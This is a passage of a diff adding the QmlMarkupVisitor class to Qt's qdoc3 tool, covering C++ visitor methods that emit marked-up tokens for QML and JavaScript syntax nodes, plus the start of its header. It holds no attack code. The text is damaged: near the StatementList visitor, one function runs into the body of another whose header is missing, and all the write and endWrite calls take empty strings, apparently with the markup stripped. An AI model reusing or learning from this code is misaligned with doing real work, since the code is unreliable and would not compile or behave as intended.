QDeclarativeJS::AST::Node::accept(expression->base, this); + addVerbatim(expression->lparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewMemberExpression *expression) +{ + addVerbatim(expression->rparenToken); + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression) +{ + write(""); + addVerbatim(expression->newToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CallExpression *expression) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CallExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list) +{ + write(""); + addVerbatim(list->commaToken, list->commaToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArgumentList *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression) +{ + write(""); + addVerbatim(expression->incrementToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostIncrementExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression) +{ + write(""); + addVerbatim(expression->decrementToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostDecrementExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression) +{ + write(""); + addVerbatim(expression->deleteToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DeleteExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression) +{ + write(""); + addVerbatim(expression->voidToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VoidExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression) +{ + write(""); + addVerbatim(expression->typeofToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TypeOfExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression) +{ + write(""); + addVerbatim(expression->incrementToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreIncrementExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression) +{ + write(""); + addVerbatim(expression->decrementToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreDecrementExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression) +{ + write(""); + addVerbatim(expression->plusToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryPlusExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression) +{ + write(""); + addVerbatim(expression->minusToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryMinusExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) +{ + write(""); + addVerbatim(expression->tildeToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TildeExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) +{ + write(""); + addVerbatim(expression->notToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NotExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) +{ + write(""); + QDeclarativeJS::AST::Node::accept(expression->left, this); + addVerbatim(expression->operatorToken); + QDeclarativeJS::AST::Node::accept(expression->right, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BinaryExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Expression *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) +{ + write(""); + addVerbatim(block->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block) +{ + addVerbatim(block->rbraceToken); + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementList *) +{ + endWrite(""); + addVerbatim(statement->declarationKindToken); + QDeclarativeJS::AST::Node::accept(statement->declarations, this); + addVerbatim(statement->semicolonToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) +{ + write(""); + for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->declaration, this); + addVerbatim(it->commaToken); + } + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclarationList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) +{ + write(""); + addVerbatim(declaration->identifierToken); + QDeclarativeJS::AST::Node::accept(declaration->expression, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclaration *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement) +{ + write(""); + addVerbatim(statement->semicolonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::EmptyStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ExpressionStatement *statement) +{ + addVerbatim(statement->semicolonToken); + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) +{ + write(""); + addVerbatim(statement->ifToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->ok, this); + //addVerbatim(statement->elseToken); ### this token referred to the wrong source text for some reason + QDeclarativeJS::AST::Node::accept(statement->ko, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IfStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) +{ + write(""); + addVerbatim(statement->doToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + addVerbatim(statement->whileToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + addVerbatim(statement->semicolonToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DoWhileStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) +{ + write(""); + addVerbatim(statement->forToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->initialiser, this); + addVerbatim(statement->firstSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->condition, this); + addVerbatim(statement->secondSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) +{ + write(""); + addVerbatim(statement->forToken); + addVerbatim(statement->lparenToken); + addVerbatim(statement->varToken); + QDeclarativeJS::AST::Node::accept(statement->declarations, this); + addVerbatim(statement->firstSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->condition, this); + addVerbatim(statement->secondSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) +{ + write(""); + addVerbatim(statement->forToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->initialiser, this); + addVerbatim(statement->inToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) +{ + write(""); + addVerbatim(statement->forToken); + addVerbatim(statement->lparenToken); + addVerbatim(statement->varToken); + QDeclarativeJS::AST::Node::accept(statement->declaration, this); + addVerbatim(statement->inToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) +{ + write(""); + addVerbatim(statement->continueToken); + addVerbatim(statement->identifierToken); + addVerbatim(statement->semicolonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) +{ + write(""); + addVerbatim(statement->breakToken); + addVerbatim(statement->identifierToken); + addVerbatim(statement->semicolonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) +{ + write(""); + addVerbatim(statement->returnToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ReturnStatement *statement) +{ + addVerbatim(statement->semicolonToken); + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) +{ + write(""); + addVerbatim(statement->withToken); + addVerbatim(statement->lparenToken); + addVerbatim(statement->rparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WithStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) +{ + write(""); + addVerbatim(block->lbraceToken, block->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block) +{ + endWrite(""); + addVerbatim(block->rbraceToken, block->rbraceToken); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) +{ + write(""); + addVerbatim(statement->switchToken); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->block, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SwitchStatement *statement) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClauses *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClauses *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) +{ + write(""); + addVerbatim(clause->caseToken); + QDeclarativeJS::AST::Node::accept(clause->expression, this); + addVerbatim(clause->colonToken); + QDeclarativeJS::AST::Node::accept(clause->statements, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClause *clause) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) +{ + write(""); + addVerbatim(clause->defaultToken, clause->defaultToken); + addVerbatim(clause->colonToken, clause->colonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DefaultClause *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) +{ + write(""); + addVerbatim(statement->identifierToken); + addVerbatim(statement->colonToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) +{ + write(""); + addVerbatim(statement->throwToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->semicolonToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThrowStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) +{ + write(""); + addVerbatim(c->catchToken, c->catchToken); + addVerbatim(c->lparenToken, c->lparenToken); + addVerbatim(c->identifierToken, c->identifierToken); + addVerbatim(c->rparenToken, c->rparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) +{ + write(""); + addVerbatim(f->finallyToken); + QDeclarativeJS::AST::Node::accept(f->statement, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Finally *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) +{ + write(""); + addVerbatim(statement->tryToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + QDeclarativeJS::AST::Node::accept(statement->catchExpression, this); + QDeclarativeJS::AST::Node::accept(statement->finallyExpression, this); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TryStatement *) +{ + endWrite(""); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) +{ + write(""); + addVerbatim(expression->functionToken); + addVerbatim(expression->identifierToken); + addVerbatim(expression->lparenToken); + QDeclarativeJS::AST::Node::accept(expression->formals, this); + addVerbatim(expression->rparenToken); + addVerbatim(expression->lbraceToken); + QDeclarativeJS::AST::Node::accept(expression->body, this); + addVerbatim(expression->rbraceToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionExpression *expression) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) +{ + write(""); + addVerbatim(declaration->functionToken); + addVerbatim(declaration->identifierToken); + addVerbatim(declaration->lparenToken); + QDeclarativeJS::AST::Node::accept(declaration->formals, this); + addVerbatim(declaration->rparenToken); + addVerbatim(declaration->lbraceToken); + QDeclarativeJS::AST::Node::accept(declaration->body, this); + addVerbatim(declaration->rbraceToken); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionDeclaration *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) +{ + write(""); + addVerbatim(list->commaToken, list->commaToken); + addVerbatim(list->identifierToken, list->identifierToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FormalParameterList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionBody *body) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionBody *body) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) +{ + write(""); + addVerbatim(statement->debuggerToken); + addVerbatim(statement->semicolonToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DebuggerStatement *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionSourceElement *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionSourceElement *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementSourceElement *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementSourceElement *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImportList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImportList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectMemberList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectMemberList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormalList *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormalList *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Program *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Program *) +{ + endWrite(""); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SourceElements *) +{ + write(""); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SourceElements *) +{ + endWrite(""); +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h new file mode 100644 index 0000000..86e1ac2 --- /dev/null +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -0,0 +1,338 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QMLVISITOR_H +#define QMLVISITOR_H + +#include +#include "private/qdeclarativejsastvisitor_p.h" +#include "node.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor +{ +public: + QmlMarkupVisitor(const QString &code, bool debug = false); + virtual ~QmlMarkupVisitor(); + + QString markedUpCode(); + + virtual bool visit(QDeclarativeJS::AST::UiProgram *); + virtual bool visit(QDeclarativeJS::AST::UiImportList *); + virtual bool visit(QDeclarativeJS::AST::UiImport *); + virtual bool visit(QDeclarativeJS::AST::UiPublicMember *); + virtual bool visit(QDeclarativeJS::AST::UiSourceElement *); + virtual bool visit(QDeclarativeJS::AST::UiObjectDefinition *); + virtual bool visit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual bool visit(QDeclarativeJS::AST::UiObjectBinding *); + virtual bool visit(QDeclarativeJS::AST::UiScriptBinding *); + virtual bool visit(QDeclarativeJS::AST::UiArrayBinding *); + virtual bool visit(QDeclarativeJS::AST::UiObjectMemberList *); + virtual bool visit(QDeclarativeJS::AST::UiArrayMemberList *); + virtual bool visit(QDeclarativeJS::AST::UiQualifiedId *); + virtual bool visit(QDeclarativeJS::AST::UiSignature *); + virtual bool visit(QDeclarativeJS::AST::UiFormalList *); + virtual bool visit(QDeclarativeJS::AST::UiFormal *); + + virtual void endVisit(QDeclarativeJS::AST::UiProgram *); + virtual void endVisit(QDeclarativeJS::AST::UiImportList *); + virtual void endVisit(QDeclarativeJS::AST::UiImport *); + virtual void endVisit(QDeclarativeJS::AST::UiPublicMember *); + virtual void endVisit(QDeclarativeJS::AST::UiSourceElement *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectDefinition *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectBinding *); + virtual void endVisit(QDeclarativeJS::AST::UiScriptBinding *); + virtual void endVisit(QDeclarativeJS::AST::UiArrayBinding *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectMemberList *); + virtual void endVisit(QDeclarativeJS::AST::UiArrayMemberList *); + virtual void endVisit(QDeclarativeJS::AST::UiQualifiedId *); + virtual void endVisit(QDeclarativeJS::AST::UiSignature *); + virtual void endVisit(QDeclarativeJS::AST::UiFormalList *); + virtual void endVisit(QDeclarativeJS::AST::UiFormal *); + + // QDeclarativeJS + virtual bool visit(QDeclarativeJS::AST::ThisExpression *); + virtual void endVisit(QDeclarativeJS::AST::ThisExpression *); + + virtual bool visit(QDeclarativeJS::AST::IdentifierExpression *); + virtual void endVisit(QDeclarativeJS::AST::IdentifierExpression *); + + virtual bool visit(QDeclarativeJS::AST::NullExpression *); + virtual void endVisit(QDeclarativeJS::AST::NullExpression *); + + virtual bool visit(QDeclarativeJS::AST::TrueLiteral *); + virtual void endVisit(QDeclarativeJS::AST::TrueLiteral *); + + virtual bool visit(QDeclarativeJS::AST::FalseLiteral *); + virtual void endVisit(QDeclarativeJS::AST::FalseLiteral *); + + virtual bool visit(QDeclarativeJS::AST::NumericLiteral *); + virtual void endVisit(QDeclarativeJS::AST::NumericLiteral *); + + virtual bool visit(QDeclarativeJS::AST::StringLiteral *); + virtual void endVisit(QDeclarativeJS::AST::StringLiteral *); + + virtual bool visit(QDeclarativeJS::AST::RegExpLiteral *); + virtual void endVisit(QDeclarativeJS::AST::RegExpLiteral *); + + virtual bool visit(QDeclarativeJS::AST::ArrayLiteral *); + virtual void endVisit(QDeclarativeJS::AST::ArrayLiteral *); + + virtual bool visit(QDeclarativeJS::AST::ObjectLiteral *); + virtual void endVisit(QDeclarativeJS::AST::ObjectLiteral *); + + virtual bool visit(QDeclarativeJS::AST::ElementList *); + virtual void endVisit(QDeclarativeJS::AST::ElementList *); + + virtual bool visit(QDeclarativeJS::AST::Elision *); + virtual void endVisit(QDeclarativeJS::AST::Elision *); + + virtual bool visit(QDeclarativeJS::AST::PropertyNameAndValueList *); + virtual void endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *); + + virtual bool visit(QDeclarativeJS::AST::NestedExpression *); + virtual void endVisit(QDeclarativeJS::AST::NestedExpression *); + + virtual bool visit(QDeclarativeJS::AST::IdentifierPropertyName *); + virtual void endVisit(QDeclarativeJS::AST::IdentifierPropertyName *); + + virtual bool visit(QDeclarativeJS::AST::StringLiteralPropertyName *); + virtual void endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *); + + virtual bool visit(QDeclarativeJS::AST::NumericLiteralPropertyName *); + virtual void endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *); + + virtual bool visit(QDeclarativeJS::AST::ArrayMemberExpression *); + virtual void endVisit(QDeclarativeJS::AST::ArrayMemberExpression *); + + virtual bool visit(QDeclarativeJS::AST::FieldMemberExpression *); + virtual void endVisit(QDeclarativeJS::AST::FieldMemberExpression *); + + virtual bool visit(QDeclarativeJS::AST::NewMemberExpression *); + virtual void endVisit(QDeclarativeJS::AST::NewMemberExpression *); + + virtual bool visit(QDeclarativeJS::AST::NewExpression *); + virtual void endVisit(QDeclarativeJS::AST::NewExpression *); + + virtual bool visit(QDeclarativeJS::AST::CallExpression *); + virtual void endVisit(QDeclarativeJS::AST::CallExpression *); + + virtual bool visit(QDeclarativeJS::AST::ArgumentList *); + virtual void endVisit(QDeclarativeJS::AST::ArgumentList *); + + virtual bool visit(QDeclarativeJS::AST::PostIncrementExpression *); + virtual void endVisit(QDeclarativeJS::AST::PostIncrementExpression *); + + virtual bool visit(QDeclarativeJS::AST::PostDecrementExpression *); + virtual void endVisit(QDeclarativeJS::AST::PostDecrementExpression *); + + virtual bool visit(QDeclarativeJS::AST::DeleteExpression *); + virtual void endVisit(QDeclarativeJS::AST::DeleteExpression *); + + virtual bool visit(QDeclarativeJS::AST::VoidExpression *); + virtual void endVisit(QDeclarativeJS::AST::VoidExpression *); + + virtual bool visit(QDeclarativeJS::AST::TypeOfExpression *); + virtual void endVisit(QDeclarativeJS::AST::TypeOfExpression *); + + virtual bool visit(QDeclarativeJS::AST::PreIncrementExpression *); + virtual void endVisit(QDeclarativeJS::AST::PreIncrementExpression *); + + virtual bool visit(QDeclarativeJS::AST::PreDecrementExpression *); + virtual void endVisit(QDeclarativeJS::AST::PreDecrementExpression *); + + virtual bool visit(QDeclarativeJS::AST::UnaryPlusExpression *); + virtual void endVisit(QDeclarativeJS::AST::UnaryPlusExpression *); + + virtual bool visit(QDeclarativeJS::AST::UnaryMinusExpression *); + virtual void endVisit(QDeclarativeJS::AST::UnaryMinusExpression *); + + virtual bool visit(QDeclarativeJS::AST::TildeExpression *); + virtual void endVisit(QDeclarativeJS::AST::TildeExpression *); + + virtual bool visit(QDeclarativeJS::AST::NotExpression *); + virtual void endVisit(QDeclarativeJS::AST::NotExpression *); + + virtual bool visit(QDeclarativeJS::AST::BinaryExpression *); + virtual void endVisit(QDeclarativeJS::AST::BinaryExpression *); + + virtual bool visit(QDeclarativeJS::AST::ConditionalExpression *); + virtual void endVisit(QDeclarativeJS::AST::ConditionalExpression *); + + virtual bool visit(QDeclarativeJS::AST::Expression *); + virtual void endVisit(QDeclarativeJS::AST::Expression *); + + virtual bool visit(QDeclarativeJS::AST::Block *); + virtual void endVisit(QDeclarativeJS::AST::Block *); + + virtual bool visit(QDeclarativeJS::AST::StatementList *); + virtual void endVisit(QDeclarativeJS::AST::StatementList *); + + virtual bool visit(QDeclarativeJS::AST::VariableStatement *); + virtual void endVisit(QDeclarativeJS::AST::VariableStatement *); + + virtual bool visit(QDeclarativeJS::AST::VariableDeclarationList *); + virtual void endVisit(QDeclarativeJS::AST::VariableDeclarationList *); + + virtual bool visit(QDeclarativeJS::AST::VariableDeclaration *); + virtual void endVisit(QDeclarativeJS::AST::VariableDeclaration *); + + virtual bool visit(QDeclarativeJS::AST::EmptyStatement *); + virtual void endVisit(QDeclarativeJS::AST::EmptyStatement *); + + virtual bool visit(QDeclarativeJS::AST::ExpressionStatement *); + virtual void endVisit(QDeclarativeJS::AST::ExpressionStatement *); + + virtual bool visit(QDeclarativeJS::AST::IfStatement *); + virtual void endVisit(QDeclarativeJS::AST::IfStatement *); + + virtual bool visit(QDeclarativeJS::AST::DoWhileStatement *); + virtual void endVisit(QDeclarativeJS::AST::DoWhileStatement *); + + virtual bool visit(QDeclarativeJS::AST::WhileStatement *); + virtual void endVisit(QDeclarativeJS::AST::WhileStatement *); + + virtual bool visit(QDeclarativeJS::AST::ForStatement *); + virtual void endVisit(QDeclarativeJS::AST::ForStatement *); + + virtual bool visit(QDeclarativeJS::AST::LocalForStatement *); + virtual void endVisit(QDeclarativeJS::AST::LocalForStatement *); + + virtual bool visit(QDeclarativeJS::AST::ForEachStatement *); + virtual void endVisit(QDeclarativeJS::AST::ForEachStatement *); + + virtual bool visit(QDeclarativeJS::AST::LocalForEachStatement *); + virtual void endVisit(QDeclarativeJS::AST::LocalForEachStatement *); + + virtual bool visit(QDeclarativeJS::AST::ContinueStatement *); + virtual void endVisit(QDeclarativeJS::AST::ContinueStatement *); + + virtual bool visit(QDeclarativeJS::AST::BreakStatement *); + virtual void endVisit(QDeclarativeJS::AST::BreakStatement *); + + virtual bool visit(QDeclarativeJS::AST::ReturnStatement *); + virtual void endVisit(QDeclarativeJS::AST::ReturnStatement *); + + virtual bool visit(QDeclarativeJS::AST::WithStatement *); + virtual void endVisit(QDeclarativeJS::AST::WithStatement *); + + virtual bool visit(QDeclarativeJS::AST::CaseBlock *); + virtual void endVisit(QDeclarativeJS::AST::CaseBlock *); + + virtual bool visit(QDeclarativeJS::AST::SwitchStatement *); + virtual void endVisit(QDeclarativeJS::AST::SwitchStatement *); + + virtual bool visit(QDeclarativeJS::AST::CaseClauses *); + virtual void 